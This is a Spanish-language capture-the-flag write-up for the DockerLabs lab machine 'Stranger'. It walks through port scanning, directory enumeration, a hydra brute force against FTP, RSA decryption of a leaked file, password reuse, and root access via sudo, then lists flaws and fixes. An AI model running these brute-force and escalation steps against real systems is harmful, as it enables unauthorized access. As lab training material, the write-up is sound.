Stranger
Introducción
Sección titulada «Introducción»Este documento detalla la resolución completa de la máquina Stranger, desarrollada por kaikoperez para DockerLabs y clasificada con un nivel de dificultad Medio.
El objetivo de este write-up es explicar de forma clara y ordenada el proceso de compromiso del sistema:
- Reconocimiento: Identificación de puertos, servicios y recursos accesibles.
- Explotación: Acceso inicial mediante fuerza bruta en el servicio FTP y descifrado de claves.
- Escalada de privilegios: Abuso de credenciales reutilizadas y permisos
sudopara obtener acceso aroot.
Todo el procedimiento se realizó en un entorno aislado proporcionado por DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | Stranger |
| Autor | kaikoperez |
| Dificultad | Medio |
| Fecha | 27/07/2024 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Desplegamos la máquina con los siguientes comandos:
unzip Stranger.zipsudo bash auto_deploy.sh Stranger.tar
Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del entorno
Sección titulada «1.1 Organización del entorno»mkdir -p Stranger/{content,exploits,nmap,gobuster,scripts}cd Stranger1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»Escaneo completo de puertos TCP:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPuertos abiertos:
- 21/tcp — FTP
- 22/tcp — SSH
- 80/tcp — HTTP

1.3 Enumeración HTTP
Sección titulada «1.3 Enumeración HTTP»Realizamos un escaneo inicial con Feroxbuster:
feroxbuster -u http://172.17.0.2 -d 0 \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \ -x php,txt,html,js,bak,old \ -t 40 \ -C 404,403
Rutas relevantes:
/index.html
Sección titulada «/index.html»Una página de bienvenida dirigida al usuario mwheeler.

/strange
Sección titulada «/strange»Un blog que incluye una pista explícita:
“The password for the encrypted file is …”

1.3.1 Segundo escaneo en /strange
Sección titulada «1.3.1 Segundo escaneo en /strange»feroxbuster -u http://172.17.0.2/strange -d 0 \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \ -x php,txt,html,js,bak,old \ -t 40 \ -C 404,403
Rutas encontradas:
-
/private.txt— Archivo descargable que contiene datos cifrados. -
/secret.html— Indica que:- El usuario para FTP es
admin. - La contraseña está en rockyou.txt.
- El usuario para FTP es

1.4 Enumeración FTP
Sección titulada «1.4 Enumeración FTP»Verificamos si existe acceso anónimo:
nmap -sCV -p21 172.17.0.2
No se permite ftp-anon. Procedemos a fuerza bruta.
Paso 2 — Explotación (Acceso inicial)
Sección titulada «Paso 2 — Explotación (Acceso inicial)»Basados en la pista, realizamos fuerza bruta al servicio FTP:
hydra -l admin -P rockyou.txt ftp://172.17.0.2Resultado:

Accedemos:
ftp 172.17.0.2Dentro encontramos:

Descargamos:
get private_key.pem2.1 Descifrado del archivo cifrado
Sección titulada «2.1 Descifrado del archivo cifrado»Sabemos que:
- Tenemos private_key.pem
- Tenemos una contraseña obtenida en
/strange
Intentamos descifrar el archivo private_key.pem:
openssl rsautl -decrypt -inkey private_key.pem -in private.txt -out plaintext.txtEl archivo descifrado contiene una contraseña válida para el usuario:
mwheelerIngresamos por SSH:
ssh mwheeler@172.17.0.2
Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De mwheeler → admin
Sección titulada «3.1 De mwheeler → admin»Recordamos que obtuvimos la contraseña del usuario admin para FTP. Probamos si también funciona como contraseña del usuario local:
su admin¡Funciona! La contraseña estaba reutilizada.

3.2 De admin → root
Sección titulada «3.2 De admin → root»Verificamos privilegios:

El usuario admin puede ejecutar:
(ALL : ALL) ALLEsto significa privilegios totales.
Obtenemos root:
sudo su
Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»- Reutilización de contraseñas para múltiples servicios.
- Pistas demasiado explícitas dentro de contenido web accesible públicamente.
- Aplicación web exponiendo claves y contraseñas.
- Uso de RSA sin una protección adecuada.
- Permisos peligrosos en
sudootorgados a un usuario no privilegiado.
Recomendaciones
Sección titulada «Recomendaciones»- Usar contraseñas diferenciadas por servicio.
- Eliminar cualquier información sensible del contenido web.
- Implementar políticas seguras de almacenamiento de claves.
- Restringir drásticamente los permisos
sudo. - Implementar monitoreo de accesos y registros.